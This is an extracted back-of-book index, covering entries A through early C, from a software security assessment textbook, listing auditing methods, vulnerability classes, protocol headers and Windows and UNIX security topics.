[Y(? [????.])] [Z(? [????.])] /bin directory (UNIX)(? [????.]) /etc directory (UNIX)(? [????.]) /home directory (UNIX)(? [????.]) /sbin directory (UNIX)(? [????.]) /var directory (UNIX)(? [????.]) 10.2 A Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] AASP (Active Server Pages)(? [????.]) Abstract Syntax Notation (ASN.1) [See ASN.1 (Abstract Syntax Notation)(? [????.]).] Abstraction, software design(? [????.]) ACC (allocation-check-copy) logs(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1134 auditing(? [????.]) data assumptions(? [????.]) order of action(? [????.]) unanticipated conditions(? [????.]) Accept header field (HTTP)(? [????.]) Accept-Charset header field (HTTP)(? [????.]) Accept-Encoding header field (HTTP)(? [????.]) Accept-Language header field (HTTP)(? [????.]) Accept-Ranges header field (HTTP)(? [????.]) access control(? [????.]) ASP.NET(? [????.]) DCOM (Distributed Component Object Model)(? [????.]) vunerabilities(? [????.]) access control entries (ACEs) [See ACEs (access control entries)(? [????.]).] access control policy(? [????.]) access masks, Windows NT, security descriptors(? [????.]) access tokens, Windows NT sessions(? [????.]) contexts(? [????.]) group lists(? [????.]) impersonation(? [????.]) privileges(? [????.]) restricted tokens(? [????.]) SAFER (Software Restriction Policies) API(? [????.]) access( ) function(? [????.]) accountability, common vulnerabilities(? [????.]) accuracy, software design(? [????.]) ACEs (access control entries)(? [????.]) flags(? [????.]) orders(? [????.]) ACFs (application configuration files), RPCs (Remote Procedure Calls)(? [????.]) ACLs (access control lists)(? [????.]) low-level ACL control(? [????.]) permissions, auditing(? [????.]) Windows NT, inheritance(? [????.]) activation records, runtime stack(? [????.]) activation, DCOM objects(? [????.]) active FTP(? [????.]) Active Server Pages (ASP) [See ASP (Active Server Pages)(? [????.]).] Active X controls(? [????.]) 2nd(? [????.]) COM (Component Object Model), security(? [????.]) kill bit(? [????.]) signing(? [????.]) site-restricted controls(? [????.]) threading(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1135 ActiveX Data Objects (ADO)(? [????.]) address space layout randomization (ASLR) [See ASLR (address space layout randomization)(? [????.]).] addresses IP addresses(? [????.]) maintaining state with(? [????.]) subnet addresses(? [????.]) AdjustTokenGroups( ) function(? [????.]) AdjustTokenPrivileges( ) function(? [????.]) ADO (ActiveX Data Objects)(? [????.]) ADT (abstract data type), stacks(? [????.]) Age header field (HTTP)(? [????.]) Aitel, Dave(? [????.]) AIX(? [????.]) AJAX (Asynchronous JavaScript and XML)(? [????.]) algorithms analyzing, CC (code comprehension)(? [????.]) encryption(? [????.]) block ciphers(? [????.]) common vunerabilities(? [????.]) exchange algorithms(? [????.]) IV (initialization vector)(? [????.]) stream ciphers(? [????.]) hashing algorithms(? [????.]) software design(? [????.]) alloc( ) function(? [????.]) allocating 0 bytes(? [????.]) allocation functions, auditing(? [????.]) allocation-check-copy (ACC) logs [See ACC (allocation-check-copy) logs(? [????.]).] allocator scorecards(? [????.]) Allocator with Header Data Structure listing (7-39)(? [????.]) Allocator-Rounding Vulnerability listing (7-38)(? [????.]) Allow header field (HTTP)(? [????.]) Allowed header field (HTTP)(? [????.]) analysis phase, code review(? [????.]) 2nd(? [????.]) findings summary(? [????.]) analyzing algorithms, CC (code comprehension)(? [????.]) classes, CC (code comprehension)(? [????.]) modules, CC (code comprehension)(? [????.]) objects, CC (code comprehension)(? [????.]) Anderson, J.S.(? [????.]) anonymous pipes, Windows NT(? [????.]) antimnalware applications(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1136 antisniff tool, vunerabilities(? [????.]) Antisniff v1.0 Vulnerability listing (6-8)(? [????.]) Antisniff v1.1 Vulnerability listing (6-9)(? [????.]) Antisniff v1.1.1 Vulnerability listing (6-10)(? [????.]) Antisniff v1.1.2 Vulnerability listing (6-11)(? [????.]) Apache 1.3.29/2.X mod_rewrite Off-by-one Vulnerability listing (7-19)(? [????.]) Apache API(? [????.]) Apache mod_dav CDATA Parsing Vulnerability listing (7-1)(? [????.]) Apache mod_php Nonterminating Buffer Vulnerability listing (7-18)(? [????.]) Apache, Struts framework(? [????.]) APCs (asynchronous procedure calls)(? [????.]) APIs (application programming interfaces) Apache API(? [????.]) ISAPI (Internet Server Application Programming Interface)(? [????.]) NSAPI (Netscape Server Application Programming Interface)(? [????.]) Appel, Andrew W.(? [????.]) AppID keys(? [????.]) application access, categories(? [????.]) application architecture modeling(? [????.]) application identity, DCOM (Distributed Component Object Model)(? [????.]) application IDs, COM (Component Object Model)(? [????.]) application layer, network segmentation(? [????.]) application manifests(? [????.]) application protocols(? [????.]) ASN.1 (Abstract Syntax Notation)(? [????.]) BER (Basic Encoding Rules)(? [????.]) CER (Canonical Encoding Rules)(? [????.]) DER (Distinguished Encoding Rules)(? [????.]) 2nd(? [????.]) PER (Packed Encoding Rules)(? [????.]) XER (XML Encoding Rules)(? [????.]) auditing(? [????.]) data type matching(? [????.]) data verification(? [????.]) documentation collection(? [????.]) identifying elements(? [????.]) system resource access(? [????.]) DNS (Domain Name System)(? [????.]) 2nd(? [????.]) headers(? [????.]) length variables(? [????.]) name servers(? [????.]) names(? [????.]) packets(? [????.]) question structure(? [????.]) request traffic(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1137 resolvers(? [????.]) resource records(? [????.]) 2nd(? [????.]) 3rd(? [????.]) spoofing(? [????.]) zones(? [????.]) HTTP (Hypertext Transfer Protocol)(? [????.]) header parsing(? [????.]) posting data(? [????.]) resource access(? [????.]) utility functions(? [????.]) ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) encryption vunerabilities(? [????.]) headers(? [????.]) payloads(? [????.]) application review(? [????.]) application review phase(? [????.]) 2nd(? [????.]) 3rd(? [????.]) bottom-up approach(? [????.]) hybrid approach(? [????.]) iterative process(? [????.]) peer reviews(? [????.]) planning(? [????.]) reevaluation(? [????.]) status checks(? [????.]) top-down approach(? [????.]) working papers(? [????.]) code auditing(? [????.]) 2nd(? [????.]) 3rd(? [????.]) binary navigation tools(? [????.]) CC (code comprehension) strategies(? [????.]) CP (candidate point) strategies(? [????.]) 2nd(? [????.]) debuggers(? [????.]) dependency alnalysis(? [????.]) desk checking(? [????.]) DG (design generalization) strategies(? [????.]) 2nd(? [????.]) fuzz testing tools(? [????.]) internal flow analysis(? [????.]) OpenSSH case study(? [????.]) rereading code(? [????.]) scorecard(? [????.]) source code navigators(? [????.]) subsystem alnalysis(? [????.]) test cases(? [????.]) code navigation(? [????.]) external flow sensitivity(? [????.]) tracing(? [????.]) documentation and analysis phase(? [????.]) 2nd(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1138 findings summary(? [????.]) preassessment phase(? [????.]) application access(? [????.]) information collection(? [????.]) scoping(? [????.]) process outline(? [????.]) remediation support phase(? [????.]) 2nd(? [????.]) application-specific CPs (candidate points)(? [????.]) applications attack surfaces(? [????.]) COM (Component Object Model) applications, registration(? [????.]) DCOM (Distributed Component Object Model) applications, auditing(? [????.]) reverse-engineering applications(? [????.]) RPC (Remote Procedure Call) applications, auditing(? [????.]) Web applications [See Web applications, access control(? [????.]).] Applied Cryptography(? [????.]) appSettings section, ASP.NET(? [????.]) apr_palloc( ) function(? [????.]) arbitrary file accesses, junction points(? [????.]) argument promotions(? [????.]) arguments, functions, auditing(? [????.]) arithmetic C programming language arithmetic boundary conditions(? [????.]) signed integer boundaries(? [????.]) unsigned integer boundaries(? [????.]) modular arithmetic(? [????.]) pointers(? [????.]) arithmetic boundaries, variables, auditing(? [????.]) arithmetic boundary conditions, C programming language(? [????.]) numeric overflow conditions(? [????.]) numeric underflow conditions(? [????.]) numeric wrapping(? [????.]) signed integers(? [????.]) unsigned integers(? [????.]) arithmetic shift(? [????.]) Arithmetic Vulnerability Example in the Parent Function listing (7-10)(? [????.]) Arithmetic Vulnerability Example listing (7-9)(? [????.]) ASLR (address space layout randomization)(? [????.]) operational vulnerabilities, preventing(? [????.]) ASN.1 (Abstract Syntax Notation)(? [????.]) BER (Basic Encoding Rules)(? [????.]) CER (Canonical Encoding Rules)(? [????.]) DER (Distinguished Encoding Rules)(? [????.]) 2nd(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1139 PER (Packed Encoding Rules)(? [????.]) XER (XML Encoding Rules)(? [????.]) ASP (Active Server Pages)(? [????.]) configuration settings(? [????.]) cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) shell invocation(? [????.]) SQL injection queries(? [????.]) ASP.NET(? [????.]) configuration settings(? [????.]) cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) shell invocation(? [????.]) SQL injection queries(? [????.]) assessments applications(? [????.]) code(? [????.]) application review phase(? [????.]) 2nd(? [????.]) code auditing(? [????.]) code navigation(? [????.]) documentation and analysis phase(? [????.]) 2nd(? [????.]) preassessment phase(? [????.]) process outline(? [????.]) remediation support phase(? [????.]) 2nd(? [????.]) assets, information collection(? [????.]) assignment operators, C programming language, type conversions(? [????.]) asymmetric encryption(? [????.]) Asynchronous JavaScript and XML (AJAX)(? [????.]) asynchronous procedure calls (APCs) [See APCs (asynchronous procedure calls)(? [????.]).] asynchronous-safe code, reentrancy(? [????.]) asynchronous-safe function, signals(? [????.]) 2nd(? [????.]) 3rd(? [????.]) ATL (Active Template Library), DCOM (Distributed Component Object Model)(? [????.]) atomicity(? [????.]) attack surfaces applications(? [????.]) firewalls(? [????.]) attack trees(? [????.]) attack vectors, high-level attack vectors, OpenSSH(? [????.]) attacks The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1140 attack surfaces, applications(? [????.]) attack trees(? [????.]) bait-and-switch attacks(? [????.]) blind data injection attacks(? [????.]) blind reset attacks(? [????.]) cryogenic sleep attacks(? [????.]) DoS (denial of service) attacks(? [????.]) name validation(? [????.]) environmental attacks(? [????.]) exceptional conditions(? [????.]) homographic attacks(? [????.]) node types(? [????.]) second-order injection attacks(? [????.]) shatter attacks(? [????.]) SHE (structured exception handling) attacks(? [????.]) SMB relay attacks(? [????.]) spoofing attacks(? [????.]) DNS (Domain Name System)(? [????.]) firewalls(? [????.]) terminal attacks(? [????.]) attributes objects, uninitialized attributes(? [????.]) UNIX processes(? [????.]) file descriptors(? [????.]) resource limits(? [????.]) retention(? [????.]) audit logs, function audit logs(? [????.]) auditing(? [????.]) application protocols(? [????.]) data type matching(? [????.]) data verification(? [????.]) documentation collection(? [????.]) identifying elements(? [????.]) system resource access(? [????.]) black box testing, compared(? [????.]) code(? [????.]) 2nd(? [????.]) 3rd(? [????.]) binary navigation tools(? [????.]) CC (code comprehension) strategies(? [????.]) CP (candidate point) strategies(? [????.]) 2nd(? [????.]) debuggers(? [????.]) dependency alnalysis(? [????.]) desk checking(? [????.]) DG (design generalization) strategies(? [????.]) 2nd(? [????.]) fuzz testing tools(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1141 internal flow analysis(? [????.]) OpenSSH case study(? [????.]) rereading code(? [????.]) scorecard(? [????.]) SDLC (Systems Development Life Cycle)(? [????.]) source code navigators(? [????.]) subsystem alnalysis(? [????.]) test cases(? [????.]) code-editing situations(? [????.]) COM (Component Object Model) applications, interfaces(? [????.]) control flow(? [????.]) flow transfer statements(? [????.]) looping constructs(? [????.]) switch statements(? [????.]) DCOM (Distributed Component Object Model) applications(? [????.]) file opens, Windows NT(? [????.]) functions(? [????.]) argument meaning(? [????.]) audit logs(? [????.]) return value testing(? [????.]) side-effects(? [????.]) 2nd(? [????.]) hidden fields(? [????.]) importance of(? [????.]) 2nd(? [????.]) memory management(? [????.]) ACC (allocation-check-copy) logs(? [????.]) allocation functions(? [????.]) allocator scorecards(? [????.]) double-frees(? [????.]) error domains(? [????.]) permissions, ACLs(? [????.]) RPC applications(? [????.]) running code(? [????.]) UNIX privileges, management code(? [????.]) variables(? [????.]) arithmetic boundaries(? [????.]) initialization(? [????.]) lists(? [????.]) object management(? [????.]) relationships(? [????.]) structure management(? [????.]) tables(? [????.]) type confusion(? [????.]) Web applications(? [????.]) activities to isolate(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1142 avoiding assumptions(? [????.]) black box testing(? [????.]) enumerating functionality(? [????.]) goals(? [????.]) multiple approaches(? [????.]) reverse-engineering(? [????.]) testing and experimentation(? [????.]) AUTH_TYPE (environment variable)(? [????.]) authenticate( ) function(? [????.]) authentication(? [????.]) common vulnerabilities(? [????.]) insufficient validation(? [????.]) untrustworthy credentials(? [????.]) HTTP authentication(? [????.]) 2nd(? [????.]) RPC servers(? [????.]) RPCs (Remote Procedure Calls), UNIX(? [????.]) Web-based applications(? [????.]) authentication files, OpenSSH(? [????.]) authorization(? [????.]) 2nd(? [????.]) ASP.NET(? [????.]) common vulnerabilities(? [????.]) Authorization header field (HTTP)(? [????.]) automated source analysis tools, code audits, CP candidate point) strategy(? [????.]) automatic threat modeling(? [????.]) automation objects, COM (Component Object Model)(? [????.]) fuzz testing(? [????.]) automation servers(? [????.]) availability(? [????.]) common vunerabilities(? [????.]) expectations of(? [????.]) 10.3 B Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] back-tracing code(? [????.]) bait-and-switch attacks(? [????.]) Bansal, Altin(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1143 Bellovin, Steve(? [????.]) BER (Basic Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) Bercegay, James(? [????.]) big-endian architecture, bytes, ordering(? [????.]) /bin directory (UNIX)(? [????.]) binary audits, COM (Component Object Model)(? [????.]) binary bitwise operators(? [????.]) binary encoding, C programming language(? [????.]) binary layout (Windows), imports(? [????.]) binary navigation tools, code auditing(? [????.]) binary notation positive decimal integers, converting to(? [????.]) positive numbers, converting to decimal(? [????.]) binary protocols, data types, matching(? [????.]) binary-only application access(? [????.]) Bind 9.2.1 Resolver Code gethostans( ) Vulnerability listing (7-2)(? [????.]) binding endpoints, RPC servers(? [????.]) bindings(? [????.]) BinNavi binary navigation tool(? [????.]) Bishop, Matt(? [????.]) bit fields, C programming language(? [????.]) bitmasks, permissions(? [????.]) bitwise shift operators, C programming language(? [????.]) black box analysis(? [????.]) black box generated CPs (candidate points)(? [????.]) black box hits, tracing(? [????.]) black box testing(? [????.]) auditing, compared(? [????.]) black-list filters, metacharacters(? [????.]) blind connection spoofing, TCP streams(? [????.]) blind data injection attacks, TCP streams(? [????.]) blind reset attacks, TCP streams(? [????.]) block ciphers(? [????.]) boot files, UNIX(? [????.]) bottom-up approach, application review(? [????.]) bottom-up decomposition(? [????.]) Bouchareine, Pascal(? [????.]) boundaries, trust boundaries(? [????.]) complex trust boundaries(? [????.]) simple trust boundaries(? [????.]) boundary conditions, sequence numbers, TCP (Transmission Control Protocol)(? [????.]) boundary descriptor objects, Windows NT(? [????.]) bounded string functions(? [????.]) Break Statement Omission Vulnerability listing (7-23)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1144 break statements, omissions(? [????.]) Bret-Mounet, Frederic(? [????.]) Brown, Keith(? [????.]) BSD linux(? [????.]) securelevels(? [????.]) setenv( ) function(? [????.]) BUF-MEM_grow( ) function(? [????.]) Buffer Overflow in NSS Library's ssl2_HandleClientHelloMessage listing (7-34)(? [????.]) buffer overflow, text-based protocols(? [????.]) buffer overflows(? [????.]) global overflows(? [????.]) heap overflows(? [????.]) off-by-one errors(? [????.]) process memory layout(? [????.]) SHE (structured exception handling) attacks(? [????.]) stack overflows(? [????.]) static overflows(? [????.]) buffer subsystem, SSH server, code audits(? [????.]) buffers, OpenSSH, vunerabilities(? [????.]) bugs, software(? [????.]) business logic(? [????.]) 2nd(? [????.]) business tier (Web applications)(? [????.]) byte order, C programming language(? [????.]) bytes, overwriting(? [????.]) 10.4 C Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] C programming language(? [????.]) arithmetic boundary conditions(? [????.]) binary encoding(? [????.]) bit fields(? [????.]) bitwise shift operators(? [????.]) byte order(? [????.]) character types(? [????.]) data storage(? [????.]) floating types(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1145 format strings(? [????.]) function invocations(? [????.]) implementation defined behavior(? [????.]) integer types(? [????.]) macros(? [????.]) numeric wrapping(? [????.]) objects(? [????.]) operands, order of evaluation(? [????.]) operators(? [????.]) 2nd(? [????.]) right shift(? [????.]) size(? [????.]) pointers(? [????.]) arithmetic(? [????.]) vunerabilities(? [????.]) precedence(? [????.]) preprocessor(? [????.]) security(? [????.]) signed integers, boundaries(? [????.]) standards(? [????.]) stdio file interface(? [????.]) string handling(? [????.]) structure padding(? [????.]) switch statements(? [????.]) type conversions(? [????.]) assignment operators(? [????.]) comparisons(? [????.]) conversion rules(? [????.]) default type conversions(? [????.]) explicit type conversions(? [????.]) floating point types(? [????.]) function prototypes(? [????.]) implicit type conversions(? [????.]) integer promotions(? [????.]) narrowing(? [????.]) sign extensions(? [????.]) simple conversions(? [????.]) typecasts(? [????.]) usual arithmetic conversions(? [????.]) value preservation(? [????.]) vunerabilities(? [????.]) widening(? [????.]) types(? [????.]) typos(? [????.]) unary + operator(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1146 unary operator(? [????.]) unary operator(? [????.]) undefined behavior(? [????.]) unsigned integers, boundaries(? [????.]) C Programming Language, The(? [????.]) C Rationale document(? [????.]) C++ programming language, EH (exception handling)(? [????.]) Cache-Control header field (HTTP)(? [????.]) calling conventions, functions(? [????.]) canary values(? [????.]) candidate points(? [????.]) canonicalization, files, Windows NT(? [????.]) capabilities, Linux(? [????.]) carry flags (CFs)(? [????.]) CAS (code access security)(? [????.]) case sensitivity, Windows NT filenames(? [????.]) CBC (cipher block chaining) mode cipher(? [????.]) CC (code comprehension) strategies, code audits(? [????.]) algorithm analysis(? [????.]) black box hit traces(? [????.]) class analysis(? [????.]) module analysis(? [????.]) object analysis(? [????.]) trace malicious input(? [????.]) CER (Canonical Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) Certificate Payload Integer Underflow in CheckPoint ISAKMP listing (16-2)(? [????.]) certificate payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) certificate request payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) CFML (ColdFusion Markup Language)(? [????.]) CFs (carry flags)(? [????.]) CGI (Common Gateway Interface)(? [????.]) 2nd(? [????.]) environment variables(? [????.]) indexed queries(? [????.]) chain of trust relationships(? [????.]) Challenge-Response Integer Overflow Example in OpenSSH 3.1 listing (6-3)(? [????.]) change monitoring(? [????.]) Character Black-List Filter listing (8-22)(? [????.]) character equivalence, Unicode(? [????.]) Character Expansion Buffer Overflow listing (8-4)(? [????.]) character expansion, text strings(? [????.]) character sets(? [????.]) character stripping vulnerabilities, metacharacters, filtering(? [????.]) character types, C programming language(? [????.]) Character White-List Filter listing (8-23)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1147 Charge-To header field (HTTP)(? [????.]) checked build application access(? [????.]) checkForAnotherInstance( ) function(? [????.]) checksum, IP (Internet Protocol)(? [????.]) child processes, UNIX processes(? [????.]) chroot jails(? [????.]) cipher block chaining (CBC) mode cipher(? [????.]) circular linked lists(? [????.]) clarity, software design(? [????.]) Clarke, Arthur C.(? [????.]) class diagrams, UML (Unified Markup Language)(? [????.]) classes analyzing, CC (code comprehension)(? [????.]) IP addresses(? [????.]) vulnerabilities design vunerabilities(? [????.]) implementation vunerabilities(? [????.]) operational vunerabilities(? [????.]) vunerabilities(? [????.]) cleanup( ) function(? [????.]) cleanup_exit( ) function(? [????.]) Cleaton, Nick(? [????.]) client IP addresses, maintaining state with(? [????.]) client tier (Web applications)(? [????.]) clients client control(? [????.]) pipe squatting(? [????.]) visibility(? [????.]) close( ) function(? [????.]) close-on-exec file descriptor, UNIX(? [????.]) CloseHandle( ) function(? [????.]) closing files, studio file system(? [????.]) TCP connections(? [????.]) Clowes, Shaun(? [????.]) CLR (Common Language Runtime)(? [????.]) CLSIDs, mapping to applications, COM (Component Object Model)(? [????.]) code auditing(? [????.]) 2nd(? [????.]) 3rd(? [????.]) binary navigation tools(? [????.]) CC (code comprehension) strategies(? [????.]) CP (candidate point) strategies(? [????.]) 2nd(? [????.]) debuggers(? [????.]) dependency alnalysis(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1148 desk checking(? [????.]) DG (design generalization) strategies(? [????.]) 2nd(? [????.]) fuzz testing tools(? [????.]) internal flow analysis(? [????.]) OpenSSH case study(? [????.]) rereading code(? [????.]) running code(? [????.]) scorecard(? [????.]) SDLC (Systems Development Life Cycle)(? [????.]) source code navigators(? [????.]) subsystem alnalysis(? [????.]) test cases(? [????.]) memory, finding in(? [????.]) reuse(? [????.]) source code, profiling(? [????.]) typos, C programming language(? [????.]) code access security (CAS) [See CAS (code access security)(? [????.]).] code naigation(? [????.]) external flow sensitivity(? [????.]) tracing(? [????.]) code page assumptions, Unicode(? [????.]) Code Page Mismatch Example listing (8-31)(? [????.]) code paths(? [????.]) code review(? [????.]) application review phase(? [????.]) 2nd(? [????.]) 3rd(? [????.]) bottom-up approach(? [????.]) hybrid approach(? [????.]) iterative process(? [????.]) peer reviews(? [????.]) planning(? [????.]) reevaluation(? [????.]) status checks(? [????.]) top-down approach(? [????.]) working papers(? [????.]) code auditing(? [????.]) 2nd(? [????.]) 3rd(? [????.]) binary navigation tools(? [????.]) CC (code comprehension) strategies(? [????.]) CP (candidate point) strategies(? [????.]) 2nd(? [????.]) debuggers(? [????.]) dependency alnalysis(? [????.]) desk checking(? [????.]) DG (design generalization) strategies(? [????.]) 2nd(? [????.]) fuzz testing tools(? [????.]) internal flow analysis(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1149 OpenSSH case study(? [????.]) rereading code(? [????.]) scorecard(? [????.]) source code navigators(? [????.]) subsystem alnalysis(? [????.]) test cases(? [????.]) code navigation(? [????.]) external flow sensitivity(? [????.]) tracing(? [????.]) documentation and analysis phase(? [????.]) 2nd(? [????.]) findings summary(? [????.]) preassessment phase(? [????.]) application access(? [????.]) information collection(? [????.]) scoping(? [????.]) process outline(? [????.]) remediation support phase(? [????.]) 2nd(? [????.]) Code Surfer(? [????.]) code-auditing situations(? [????.]) CoInitializeEx( ) function(? [????.]) ColdFusion(? [????.]) ColdFusion Markup Language (CFML)(? [????.]) ColdFusion MX(? [????.]) collecttimeout( ) function(? [????.]) collisions, Windows NT object namespaces(? [????.]) COM (Component Object Model), Windows NT access controls(? [????.]) Active X security(? [????.]) application audits(? [????.]) application identity(? [????.]) 2nd(? [????.]) application registration(? [????.]) ATL (Active Template Library)(? [????.]) automation objects(? [????.]) 2nd(? [????.]) CLSID mapping(? [????.]) components(? [????.]) DCOM Configuration utility(? [????.]) impersonation(? [????.]) interface audits(? [????.]) interfaces(? [????.]) IPC (interprocess communications)(? [????.]) MIDL (Microsoft Interface Definition Language)(? [????.]) OLE (Object Linking and Embedding)(? [????.]) proxies(? [????.]) stubs(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1150 subsystem access permissions(? [????.]) threading(? [????.]) type libraries(? [????.]) COMbust tool(? [????.]) Common Gateway Interface [See CGI (Common Gateway Interface)(? [????.]).] Common Language Runtime (CLR)(? [????.]) common real types(? [????.]) Communications of the ACM(? [????.]) Comparison Vulnerability Example listing (6-20)(? [????.]) comparisons, type conversions, C programming language(? [????.]) compensating controls, operational vunerabilities(? [????.]) component diagrams, UML (Unified Markup Language)(? [????.]) Component Object Model (COM) [See Component Object Model (COM)(? [????.]).] Computer Security: Art and Science(? [????.]) concurrent programming APCs (asynchronous procedure calls)(? [????.]) deadlocks(? [????.]) multithreaded programs(? [????.]) process synchronization(? [????.]) interprocess synchronization(? [????.]) lock matching(? [????.]) synchronization object scoreboard(? [????.]) System V synchronization(? [????.]) Windows NT synchronization(? [????.]) race conditions(? [????.]) reentrancy(? [????.]) repetition(? [????.]) shared memory segments(? [????.]) signals(? [????.]) asynchronous-safe function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) default actions(? [????.]) handling(? [????.]) interruptions(? [????.]) 2nd(? [????.]) jump locations(? [????.]) non-returning signal handlers(? [????.]) 2nd(? [????.]) 3rd(? [????.]) sending(? [????.]) signal handler scoreboard(? [????.]) signal masks(? [????.]) vunerabilities(? [????.]) 2nd(? [????.]) starvation(? [????.]) threads deadlocks(? [????.]) PThreads API(? [????.]) race conditions(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1151 starvation(? [????.]) Windows API(? [????.]) condition variables, PThreads API(? [????.]) conditions, ACC logs, unanticipated conditions(? [????.]) confidentiality(? [????.]) encryption algorithms(? [????.]) block ciphers(? [????.]) common vunerabilities(? [????.]) exchange algorithms(? [????.]) IV (initialization vector)(? [????.]) stream ciphers(? [????.]) expectations of(? [????.]) configuration files OpenSSH(? [????.]) UNIX(? [????.]) configuration settings ASP(? [????.]) ASP.NET(? [????.]) Java servlets(? [????.]) PHP(? [????.]) CONNECT method(? [????.]) Connection header field (HTTP)(? [????.]) connection points, objects(? [????.]) connections RPCs (Remote Procedure Calls)(? [????.]) TCP (Transmission Control Protocol)(? [????.]) 2nd(? [????.]) blind connection spoofing(? [????.]) connection tampering(? [????.]) establishing(? [????.]) fabrication(? [????.]) flags(? [????.]) resetting(? [????.]) states(? [????.]) ConnectNamedPipe( ) function(? [????.]) constraint establishment, test cases, code audits(? [????.]) Content-Encoding header field (HTTP)(? [????.]) Content-Language header field (HTTP)(? [????.]) Content-Length header field (HTTP)(? [????.]) Content-Location header field (HTTP)(? [????.]) Content-MD5 header field (HTTP)(? [????.]) Content-Range header field (HTTP)(? [????.]) Content-Transfer-Encoding header field (HTTP)(? [????.]) Content-Type header field (HTTP)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1152 CONTENT_LENGTH (environment variable)(? [????.]) CONTENT_TYPE (environment variable)(? [????.]) context handles, RPCs (Remote Procedure Calls)(? [????.]) contexts, Windows NT sessions, access tokens(? [????.]) control flow, auditing(? [????.]) flow transfer statements(? [????.]) looping constructs(? [????.]) switch statements(? [????.]) control-flow sensitive coide navigation(? [????.]) Controller component (MVC)(? [????.]) controlling terminals, UNIX(? [????.]) conversion rules, type conversions, C programming language(? [????.]) ConvertSidToStringSid( ) function(? [????.]) ConvertStringSidToSid( ) function(? [????.]) cookies(? [????.]) stack cookies(? [????.]) COPY method(? [????.]) core files(? [????.]) CoRegisterClassObject( ) function(? [????.]) Correct Use of GetFullPathName( ) listing (8-13)(? [????.]) corruption (memory)(? [????.]) buffer overflows(? [????.]) global overflows(? [????.]) heap overflows(? [????.]) off-by-one errors(? [????.]) process memory layout(? [????.]) SHE (structured exception handling) attacks(? [????.]) stack overflows(? [????.]) static overflows(? [????.]) protection mechanisms(? [????.]) ASLR (address space layout randomization)(? [????.]) assessing(? [????.]) function pointer obfuscation(? [????.]) heap hardening(? [????.]) nonexecutable stack(? [????.]) SafeSEH(? [????.]) stack cookies(? [????.]) shellcode(? [????.]) Cost header field (HTTP)(? [????.]) counter (CTR) mode cipher(? [????.]) CP (candidate point), code audits(? [????.]) 2nd(? [????.]) application-specific CPs(? [????.]) automated source analysis tools(? [????.]) black box generated CPs(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1153 general approach(? [????.]) simple binary CPs(? [????.]) simple lexical CPs(? [????.]) crackaddr( ) function(? [????.]) CRC (cyclic redundancy check) routines(? [????.]) Create*( ) functions(? [????.]) CreateEvent( ) function(? [????.]) CreateFile( ) function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) 5th(? [????.]) 6th(? [????.]) CreateHardLink( ) function(? [????.]) CreateMutex( ) function(? [????.]) 2nd(? [????.]) CreateNamedPipe( ) function(? [????.]) 2nd(? [????.]) CreateNewKey( ) function(? [????.]) CreatePrivateNamespace( ) function(? [????.]) CreateProcess( ) function(? [????.]) 2nd(? [????.]) CreateRestrictedToken( ) function(? [????.]) CreateSemaphore( ) function(? [????.]) CreateWaitableTimer( ) function(? [????.]) credentials, authorization, untrustworthy credentials(? [????.]) critical sections, Windows API(? [????.]) cross-site scripting ASP(? [????.]) 